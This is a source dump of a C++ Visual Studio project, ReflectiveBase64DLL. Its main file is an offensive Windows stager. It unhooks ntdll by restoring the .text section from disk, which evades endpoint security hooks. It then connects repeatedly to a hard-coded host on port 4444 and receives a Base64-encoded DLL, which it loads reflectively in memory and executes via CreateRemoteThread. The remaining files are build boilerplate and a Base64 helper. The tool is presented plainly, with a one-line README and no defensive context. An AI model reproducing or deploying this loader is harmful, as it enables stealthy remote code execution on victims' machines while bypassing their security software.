├── .gitattributes ├── .gitignore ├── README.md ├── ReflectiveBase64DLL.sln └── ReflectiveBase64DLL ├── MemoryLoadDll.cpp ├── MemoryLoadDll.h ├── ReflectiveBase64DLL.cpp ├── ReflectiveBase64DLL.vcxproj ├── ReflectiveBase64DLL.vcxproj.filters ├── base64.cpp └── base64.h /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Build results 17 | [Dd]ebug/ 18 | [Dd]ebugPublic/ 19 | [Rr]elease/ 20 | [Rr]eleases/ 21 | x64/ 22 | x86/ 23 | [Aa][Rr][Mm]/ 24 | [Aa][Rr][Mm]64/ 25 | bld/ 26 | [Bb]in/ 27 | [Oo]bj/ 28 | [Ll]og/ 29 | 30 | # Visual Studio 2015/2017 cache/options directory 31 | .vs/ 32 | # Uncomment if you have tasks that create the project's static files in wwwroot 33 | #wwwroot/ 34 | 35 | # Visual Studio 2017 auto generated files 36 | Generated\ Files/ 37 | 38 | # MSTest test Results 39 | [Tt]est[Rr]esult*/ 40 | [Bb]uild[Ll]og.* 41 | 42 | # NUNIT 43 | *.VisualState.xml 44 | TestResult.xml 45 | 46 | # Build Results of an ATL Project 47 | [Dd]ebugPS/ 48 | [Rr]eleasePS/ 49 | dlldata.c 50 | 51 | # Benchmark Results 52 | BenchmarkDotNet.Artifacts/ 53 | 54 | # .NET Core 55 | project.lock.json 56 | project.fragment.lock.json 57 | artifacts/ 58 | 59 | # StyleCop 60 | StyleCopReport.xml 61 | 62 | # Files built by Visual Studio 63 | *_i.c 64 | *_p.c 65 | *_h.h 66 | *.ilk 67 | *.meta 68 | *.obj 69 | *.iobj 70 | *.pch 71 | *.pdb 72 | *.ipdb 73 | *.pgc 74 | *.pgd 75 | *.rsp 76 | *.sbr 77 | *.tlb 78 | *.tli 79 | *.tlh 80 | *.tmp 81 | *.tmp_proj 82 | *_wpftmp.csproj 83 | *.log 84 | *.vspscc 85 | *.vssscc 86 | .builds 87 | *.pidb 88 | *.svclog 89 | *.scc 90 | 91 | # Chutzpah Test files 92 | _Chutzpah* 93 | 94 | # Visual C++ cache files 95 | ipch/ 96 | *.aps 97 | *.ncb 98 | *.opendb 99 | *.opensdf 100 | *.sdf 101 | *.cachefile 102 | *.VC.db 103 | *.VC.VC.opendb 104 | 105 | # Visual Studio profiler 106 | *.psess 107 | *.vsp 108 | *.vspx 109 | *.sap 110 | 111 | # Visual Studio Trace Files 112 | *.e2e 113 | 114 | # TFS 2012 Local Workspace 115 | $tf/ 116 | 117 | # Guidance Automation Toolkit 118 | *.gpState 119 | 120 | # ReSharper is a .NET coding add-in 121 | _ReSharper*/ 122 | *.[Rr]e[Ss]harper 123 | *.DotSettings.user 124 | 125 | # JustCode is a .NET coding add-in 126 | .JustCode 127 | 128 | # TeamCity is a build add-in 129 | _TeamCity* 130 | 131 | # DotCover is a Code Coverage Tool 132 | *.dotCover 133 | 134 | # AxoCover is a Code Coverage Tool 135 | .axoCover/* 136 | !.axoCover/settings.json 137 | 138 | # Visual Studio code coverage results 139 | *.coverage 140 | *.coveragexml 141 | 142 | # NCrunch 143 | _NCrunch_* 144 | .*crunch*.local.xml 145 | nCrunchTemp_* 146 | 147 | # MightyMoose 148 | *.mm.* 149 | AutoTest.Net/ 150 | 151 | # Web workbench (sass) 152 | .sass-cache/ 153 | 154 | # Installshield output folder 155 | [Ee]xpress/ 156 | 157 | # DocProject is a documentation generator add-in 158 | DocProject/buildhelp/ 159 | DocProject/Help/*.HxT 160 | DocProject/Help/*.HxC 161 | DocProject/Help/*.hhc 162 | DocProject/Help/*.hhk 163 | DocProject/Help/*.hhp 164 | DocProject/Help/Html2 165 | DocProject/Help/html 166 | 167 | # Click-Once directory 168 | publish/ 169 | 170 | # Publish Web Output 171 | *.[Pp]ublish.xml 172 | *.azurePubxml 173 | # Note: Comment the next line if you want to checkin your web deploy settings, 174 | # but database connection strings (with potential passwords) will be unencrypted 175 | *.pubxml 176 | *.publishproj 177 | 178 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 179 | # checkin your Azure Web App publish settings, but sensitive information contained 180 | # in these scripts will be unencrypted 181 | PublishScripts/ 182 | 183 | # NuGet Packages 184 | *.nupkg 185 | # The packages folder can be ignored because of Package Restore 186 | **/[Pp]ackages/* 187 | # except build/, which is used as an MSBuild target. 188 | !**/[Pp]ackages/build/ 189 | # Uncomment if necessary however generally it will be regenerated when needed 190 | #!**/[Pp]ackages/repositories.config 191 | # NuGet v3's project.json files produces more ignorable files 192 | *.nuget.props 193 | *.nuget.targets 194 | 195 | # Microsoft Azure Build Output 196 | csx/ 197 | *.build.csdef 198 | 199 | # Microsoft Azure Emulator 200 | ecf/ 201 | rcf/ 202 | 203 | # Windows Store app package directories and files 204 | AppPackages/ 205 | BundleArtifacts/ 206 | Package.StoreAssociation.xml 207 | _pkginfo.txt 208 | *.appx 209 | 210 | # Visual Studio cache files 211 | # files ending in .cache can be ignored 212 | *.[Cc]ache 213 | # but keep track of directories ending in .cache 214 | !?*.[Cc]ache/ 215 | 216 | # Others 217 | ClientBin/ 218 | ~$* 219 | *~ 220 | *.dbmdl 221 | *.dbproj.schemaview 222 | *.jfm 223 | *.pfx 224 | *.publishsettings 225 | orleans.codegen.cs 226 | 227 | # Including strong name files can present a security risk 228 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 229 | #*.snk 230 | 231 | # Since there are multiple workflows, uncomment next line to ignore bower_components 232 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 233 | #bower_components/ 234 | 235 | # RIA/Silverlight projects 236 | Generated_Code/ 237 | 238 | # Backup & report files from converting an old project file 239 | # to a newer Visual Studio version. Backup files are not needed, 240 | # because we have git ;-) 241 | _UpgradeReport_Files/ 242 | Backup*/ 243 | UpgradeLog*.XML 244 | UpgradeLog*.htm 245 | ServiceFabricBackup/ 246 | *.rptproj.bak 247 | 248 | # SQL Server files 249 | *.mdf 250 | *.ldf 251 | *.ndf 252 | 253 | # Business Intelligence projects 254 | *.rdl.data 255 | *.bim.layout 256 | *.bim_*.settings 257 | *.rptproj.rsuser 258 | *- Backup*.rdl 259 | 260 | # Microsoft Fakes 261 | FakesAssemblies/ 262 | 263 | # GhostDoc plugin setting file 264 | *.GhostDoc.xml 265 | 266 | # Node.js Tools for Visual Studio 267 | .ntvs_analysis.dat 268 | node_modules/ 269 | 270 | # Visual Studio 6 build log 271 | *.plg 272 | 273 | # Visual Studio 6 workspace options file 274 | *.opt 275 | 276 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 277 | *.vbw 278 | 279 | # Visual Studio LightSwitch build output 280 | **/*.HTMLClient/GeneratedArtifacts 281 | **/*.DesktopClient/GeneratedArtifacts 282 | **/*.DesktopClient/ModelManifest.xml 283 | **/*.Server/GeneratedArtifacts 284 | **/*.Server/ModelManifest.xml 285 | _Pvt_Extensions 286 | 287 | # Paket dependency manager 288 | .paket/paket.exe 289 | paket-files/ 290 | 291 | # FAKE - F# Make 292 | .fake/ 293 | 294 | # JetBrains Rider 295 | .idea/ 296 | *.sln.iml 297 | 298 | # CodeRush personal settings 299 | .cr/personal 300 | 301 | # Python Tools for Visual Studio (PTVS) 302 | __pycache__/ 303 | *.pyc 304 | 305 | # Cake - Uncomment if you are using it 306 | # tools/** 307 | # !tools/packages.config 308 | 309 | # Tabs Studio 310 | *.tss 311 | 312 | # Telerik's JustMock configuration file 313 | *.jmconfig 314 | 315 | # BizTalk build output 316 | *.btp.cs 317 | *.btm.cs 318 | *.odx.cs 319 | *.xsd.cs 320 | 321 | # OpenCover UI analysis results 322 | OpenCover/ 323 | 324 | # Azure Stream Analytics local run output 325 | ASALocalRun/ 326 | 327 | # MSBuild Binary and Structured Log 328 | *.binlog 329 | 330 | # NVidia Nsight GPU debugger configuration file 331 | *.nvuser 332 | 333 | # MFractors (Xamarin productivity tool) working folder 334 | .mfractor/ 335 | 336 | # Local History for Visual Studio 337 | .localhistory/ 338 | 339 | # BeatPulse healthcheck temp database 340 | healthchecksdb -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ReflectiveBase64DLL 2 | This is a project to receive Base64 data and decode it in process 3 | -------------------------------------------------------------------------------- /ReflectiveBase64DLL.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29709.97 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReflectiveBase64DLL", "ReflectiveBase64DLL\ReflectiveBase64DLL.vcxproj", "{95E7F30E-3E21-4EB4-8343-8DA49DA3C6BB}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {95E7F30E-3E21-4EB4-8343-8DA49DA3C6BB}.Debug|x64.ActiveCfg = Debug|x64 17 | {95E7F30E-3E21-4EB4-8343-8DA49DA3C6BB}.Debug|x64.Build.0 = Debug|x64 18 | {95E7F30E-3E21-4EB4-8343-8DA49DA3C6BB}.Debug|x86.ActiveCfg = Debug|Win32 19 | {95E7F30E-3E21-4EB4-8343-8DA49DA3C6BB}.Debug|x86.Build.0 = Debug|Win32 20 | {95E7F30E-3E21-4EB4-8343-8DA49DA3C6BB}.Release|x64.ActiveCfg = Release|x64 21 | {95E7F30E-3E21-4EB4-8343-8DA49DA3C6BB}.Release|x64.Build.0 = Release|x64 22 | {95E7F30E-3E21-4EB4-8343-8DA49DA3C6BB}.Release|x86.ActiveCfg = Release|Win32 23 | {95E7F30E-3E21-4EB4-8343-8DA49DA3C6BB}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {67403258-7EC4-45C7-AF62-46B22D7B7147} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /ReflectiveBase64DLL/MemoryLoadDll.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idiotc4t/ReflectiveBase64DLL/a6a4804f767d87b026061d657e6537697b5d6b25/ReflectiveBase64DLL/MemoryLoadDll.cpp -------------------------------------------------------------------------------- /ReflectiveBase64DLL/MemoryLoadDll.h: -------------------------------------------------------------------------------- 1 | #ifndef _MM_LOAD_DLL_H_ 2 | #define _MM_LOAD_DLL_H_ 3 | 4 | 5 | #include 6 | 7 | 8 | typedef BOOL(__stdcall* typedef_DllMain)(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved); 9 | 10 | 11 | LPVOID MmLoadLibrary(LPVOID lpData, DWORD dwSize); 12 | 13 | DWORD GetSizeOfImage(LPVOID lpData); 14 | 15 | BOOL MmMapFile(LPVOID lpData, LPVOID lpBaseAddress); 16 | 17 | DWORD Align(DWORD dwSize, DWORD dwAlignment); 18 | 19 | BOOL DoRelocationTable(LPVOID lpBaseAddress); 20 | 21 | BOOL DoImportTable(LPVOID lpBaseAddress); 22 | 23 | BOOL SetImageBase(LPVOID lpBaseAddress); 24 | 25 | BOOL CallDllMain(LPVOID lpBaseAddress); 26 | 27 | LPVOID MmGetProcAddress(LPVOID lpBaseAddress, PCHAR lpszFuncName); 28 | 29 | BOOL MmFreeLibrary(LPVOID lpBaseAddress); 30 | 31 | 32 | #endif -------------------------------------------------------------------------------- /ReflectiveBase64DLL/ReflectiveBase64DLL.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "base64.h" 5 | #include "MemoryLoadDll.h" 6 | //#include 7 | #include 8 | #pragma comment(lib, "ws2_32.lib") 9 | 10 | BOOL NtdllUnhook() 11 | { 12 | HANDLE process = GetCurrentProcess(); 13 | MODULEINFO mi = {}; 14 | HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); 15 | 16 | GetModuleInformation(process, ntdllModule, &mi, sizeof(mi)); 17 | LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; 18 | HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); 19 | HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); 20 | LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0); 21 | 22 | PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase; 23 | PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew); 24 | 25 | for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { 26 | PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); 27 | if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) { 28 | DWORD oldProtection = 0; 29 | bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); 30 | memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); 31 | isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection); 32 | } 33 | } 34 | 35 | CloseHandle(process); 36 | CloseHandle(ntdllFile); 37 | CloseHandle(ntdllMapping); 38 | FreeLibrary(ntdllModule); 39 | 40 | if (GetLastError()==0) 41 | { 42 | return TRUE; 43 | } 44 | else { 45 | return FALSE; 46 | } 47 | } 48 | 49 | 50 | int main(int argc,char* argv[]) 51 | { 52 | 53 | BOOL ret = NtdllUnhook(); 54 | if (!ret) 55 | { 56 | return 1; 57 | } 58 | WSADATA wsaData; 59 | WSAStartup(MAKEWORD(2, 2), &wsaData); 60 | SOCKET ConnectSocket; 61 | ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 62 | sockaddr_in clientService; 63 | int iResult = 0; 64 | 65 | clientService.sin_family = AF_INET; 66 | #pragma warning(disable : 4996) 67 | clientService.sin_addr.s_addr = inet_addr("192.168.0.102"); 68 | clientService.sin_port = htons(4444); 69 | do 70 | { 71 | iResult = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService)); 72 | Sleep(5); 73 | 74 | } while (iResult==SOCKET_ERROR); 75 | 76 | 77 | INT RecvBytes = 0; 78 | char* bufferReceivedBytes = new char[10000]; 79 | char* DecodeBytes = new char[5120]; 80 | 81 | RecvBytes = recv(ConnectSocket, bufferReceivedBytes, 10000, NULL); 82 | 83 | INT dwFileSize = 0; 84 | //接收base64编码后的dll 85 | dwFileSize = b64_decode((unsigned char*)bufferReceivedBytes, RecvBytes, (unsigned char *)DecodeBytes); 86 | //解码dll写入DecodeBytes 87 | iResult = closesocket(ConnectSocket); 88 | delete[] bufferReceivedBytes; 89 | 90 | LPVOID lpBaseAddress = MmLoadLibrary(DecodeBytes, dwFileSize); 91 | 92 | typedef BOOL(*typedef_dllmain)(void); 93 | FARPROC dllmain = (FARPROC)MmGetProcAddress(lpBaseAddress, (PCHAR)"DllMain"); 94 | //dllmain(); 95 | //CreateThread(0, 0,(LPTHREAD_START_ROUTINE)dllmain, 0, 0, 0); 96 | CreateRemoteThread(GetCurrentProcess(), 0, 0, (LPTHREAD_START_ROUTINE)dllmain, 0, 0, 0); 97 | 98 | 99 | WSACleanup(); 100 | return 0; 101 | } -------------------------------------------------------------------------------- /ReflectiveBase64DLL/ReflectiveBase64DLL.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {95E7F30E-3E21-4EB4-8343-8DA49DA3C6BB} 24 | ReflectiveBase64DLL 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v142 32 | MultiByte 33 | 34 | 35 | Application 36 | false 37 | v142 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v142 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v142 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | Level3 87 | true 88 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 89 | true 90 | MultiThreaded 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 102 | true 103 | 104 | 105 | Console 106 | true 107 | 108 | 109 | 110 | 111 | Level3 112 | true 113 | true 114 | true 115 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 116 | true 117 | 118 | 119 | Console 120 | true 121 | true 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | 134 | 135 | Console 136 | true 137 | true 138 | true 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | -------------------------------------------------------------------------------- /ReflectiveBase64DLL/ReflectiveBase64DLL.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 头文件 20 | 21 | 22 | 头文件 23 | 24 | 25 | 26 | 27 | 源文件 28 | 29 | 30 | 源文件 31 | 32 | 33 | 源文件 34 | 35 | 36 | -------------------------------------------------------------------------------- /ReflectiveBase64DLL/base64.cpp: -------------------------------------------------------------------------------- 1 | #include "base64.h" 2 | 3 | unsigned char b64_chr[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 4 | 5 | unsigned int b64_int(unsigned int ch) { 6 | 7 | if (ch == 43) 8 | return 62; 9 | if (ch == 47) 10 | return 63; 11 | if (ch == 61) 12 | return 64; 13 | if ((ch > 47) && (ch < 58)) 14 | return ch + 4; 15 | if ((ch > 64) && (ch < 91)) 16 | return ch - 'A'; 17 | if ((ch > 96) && (ch < 123)) 18 | return (ch - 'a') + 26; 19 | return 0; 20 | } 21 | 22 | unsigned int b64e_size(unsigned int in_size) { 23 | 24 | int i, j = 0; 25 | for (i = 0; i < in_size; i++) { 26 | if (i % 3 == 0) 27 | j += 1; 28 | } 29 | return (4 * j); 30 | } 31 | 32 | unsigned int b64d_size(unsigned int in_size) { 33 | 34 | return ((3 * in_size) / 4); 35 | } 36 | 37 | unsigned int b64_encode(const unsigned char* in, unsigned int in_len, unsigned char* out) { 38 | 39 | unsigned int i = 0, j = 0, k = 0, s[3]; 40 | 41 | for (i = 0; i < in_len; i++) { 42 | s[j++] = *(in + i); 43 | if (j == 3) { 44 | out[k + 0] = b64_chr[(s[0] & 255) >> 2]; 45 | out[k + 1] = b64_chr[((s[0] & 0x03) << 4) + ((s[1] & 0xF0) >> 4)]; 46 | out[k + 2] = b64_chr[((s[1] & 0x0F) << 2) + ((s[2] & 0xC0) >> 6)]; 47 | out[k + 3] = b64_chr[s[2] & 0x3F]; 48 | j = 0; k += 4; 49 | } 50 | } 51 | 52 | if (j) { 53 | if (j == 1) 54 | s[1] = 0; 55 | out[k + 0] = b64_chr[(s[0] & 255) >> 2]; 56 | out[k + 1] = b64_chr[((s[0] & 0x03) << 4) + ((s[1] & 0xF0) >> 4)]; 57 | if (j == 2) 58 | out[k + 2] = b64_chr[((s[1] & 0x0F) << 2)]; 59 | else 60 | out[k + 2] = '='; 61 | out[k + 3] = '='; 62 | k += 4; 63 | } 64 | 65 | out[k] = '\0'; 66 | 67 | return k; 68 | } 69 | 70 | unsigned int b64_decode(const unsigned char* in, unsigned int in_len, unsigned char* out) { 71 | 72 | unsigned int i = 0, j = 0, k = 0, s[4]; 73 | 74 | for (i = 0; i < in_len; i++) { 75 | s[j++] = b64_int(*(in + i)); 76 | if (j == 4) { 77 | out[k + 0] = ((s[0] & 255) << 2) + ((s[1] & 0x30) >> 4); 78 | if (s[2] != 64) { 79 | out[k + 1] = ((s[1] & 0x0F) << 4) + ((s[2] & 0x3C) >> 2); 80 | if ((s[3] != 64)) { 81 | out[k + 2] = ((s[2] & 0x03) << 6) + (s[3]); k += 3; 82 | } 83 | else { 84 | k += 2; 85 | } 86 | } 87 | else { 88 | k += 1; 89 | } 90 | j = 0; 91 | } 92 | } 93 | 94 | return k; 95 | } 96 | -------------------------------------------------------------------------------- /ReflectiveBase64DLL/base64.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | unsigned int b64_int(unsigned int ch); 4 | unsigned int b64e_size(unsigned int in_size); 5 | 6 | 7 | unsigned int b64d_size(unsigned int in_size); 8 | 9 | unsigned int b64_encode(const unsigned char* in, unsigned int in_len, unsigned char* out); 10 | 11 | 12 | unsigned int b64_decode(const unsigned char* in, unsigned int in_len, unsigned char* out); 13 | 14 | --------------------------------------------------------------------------------